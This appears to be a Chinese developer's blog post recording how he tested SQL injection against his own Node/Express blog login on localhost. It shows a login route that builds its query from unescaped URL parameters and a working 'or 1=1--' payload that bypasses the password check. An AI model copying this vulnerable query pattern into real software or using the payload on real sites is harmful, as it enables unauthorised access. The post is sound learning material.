记录一次mysql注入过程。
环境
后端: node 、 express
描述
最近在开发一个简单的个人博客,在开发登录功能时,闲暇时看到MySQL 注入 这篇文章,于是想到自己写的登录代码不就是这样的,逻辑上看起来和文章中描述的 mysql 执行语句很像。于是开始按照文章中的步骤进行尝试是不是会发生文章中sql 注入
问题。
后端node 逻辑
刚开始开发,为了方便测试,使用 get 请求测试用户名和密码进行登录,在正式环境中,请使用post 提交用户名和密码进行登录。
后端 node 登录逻辑代码
- 后端,在
ulr
参数中获取用户输入的用户名(name)和密码(pwd) - 使用
MD5
处理明文密码 - 执行
mysql
语句去数据库查询验证用户和密码是否正确, - 判断是否能查询出数据,如果有数据,则表示登录成功,返回 token,否则返回用户名和密码错误
登录查询 sql
语句:
let sql = `
SELECT user_login,user_nicename,user_email,display_name from wp_users
WHERE user_login = '${name}'
AND user_pass = '${pwdMd5}'
`;
后端node 逻辑代码如下。
router.get('/login', function(req, res, next) {
let name = req.param('name');
let pwd = req.param('pwd');
let pwdMd5 = unit.MD5Encrypt(pwd);
let sql = `
SELECT user_login,user_nicename,user_email,display_name from wp_users
WHERE user_login = '${name}'
AND user_pass = '${pwdMd5}'
`;
console.info(sql);
database.query(sql, (err, rows, fileds) => {
if (err) {
throw err;
}
if (rows.length !== 1){
res.json({message: "用户名或者密码错误", code: '2001'});
} else {
let userData = rows[0];
let tokenInstance = token.generatorToken(userData);
res.json({message: "ok", token: tokenInstance, data: userData, code: '1000'});
}
})
});
前端模拟登录
前端js代码; 用户名为watermelon , 使用正确密码为 222 进行登录测试。
document.getElementById('other').onclick = function() {
let xhr = new XMLHttpRequest();
xhr.open('GET', "http://localhost:3000/web/login?name=watermelon&pwd=222");
xhr.onload = function(a, b) {
let data = JSON.parse(xhr.responseText)
token = data.token;
console.log(token)
}
xhr.send();
}
测试阶段暂时使用明文进行登录,正式环境需要使用rsa 对明文进行加密。
浏览器F12 调试如下:登录成功,返回了token
1.jpg 2.jpg同一个用户,使用错误的密码:111,进行登录,测试是否能登录成功。
// 其他代码省略
xhr.open('GET', "http://localhost:3000/web/login?name=watermelon&pwd=111");
浏览器F12 调试如下:登录失败
3.jpg 4.jpg说明使用错误的密码不能进行登录。接下来开始有趣的测试 sql 注入
, 使用错误密码进登录,绕过密码验证。
进行sql 注入
参考MySQL 注入 文章中其中的一部分, 使用简单的sql注入写法or 1=1--
,原理是:--
为mysql执行代码的注释标志,也就是说--
后面的mysql
语句不会执行。
使用错误的密码:111 进行登录, 但用户名改为:watermelon or 1=1--
// 其他代码省略
xhr.open('GET', "http://localhost:3000/web/login?name=watermelon or 1=1--&pwd=111");
浏览器F12 调试如下:登录失败
5.jpg 55.jpg后端console.log 输出的 sql 语句为
6.jpg登录失败,查询不到数据,因为sql 将整个用户名当做字符串进行了处理。使用navcat 调试。
7.jpg如果需要sql注入成功,需要 sql 语句不把用户名当做字符串处理。
在navcat
手动调试sql语句,直到能查询出数据。
仔细查看,当用户名中加入 '
后,sql 语句就能执行成功。
修改浏览器发送http 代码:登录url参数为:name=watermelon' or 1=1-- &pwd=111"
document.getElementById('other').onclick = function() {
let xhr = new XMLHttpRequest();
xhr.open('GET', "http://localhost:3000/web/login?name=watermelon' or 1=1-- &pwd=111");
// 仔细看才能看出区别
xhr.onload = function(a, b) {
let data = JSON.parse(xhr.responseText)
token = data.token;
console.log(token)
}
xhr.send();
}
9.jpg
10.jpg
测试可以看出,sql 注入成功。使用错误密码 111 也能登录。不管使用任何密码,只要user表中存在这个用户,就能登录成功。
总结
使用别人搭建好的系统时进行,一般已经处理了sql注入问题,所以在开发时,不会考虑sql注入问题。到自己搭建一个系统才发现需要处理的问题有很多。例如:session、token 会话、mysql数据库连接、跨域、密码MD5 加密、路由统一分发权限控制、登录密码加密、sql注入安全问题等等。这些都需要自己理解其中的原理,然后多去实践,并找到解决方案。
一个系统需要安全的运行,还需要有健壮的代码,所以代码review很重要,特别是后端代码,一个不小心,整个系统数据都不安全了。
如何解决sql注入问题,还需要再研究,等下篇文章。
网友评论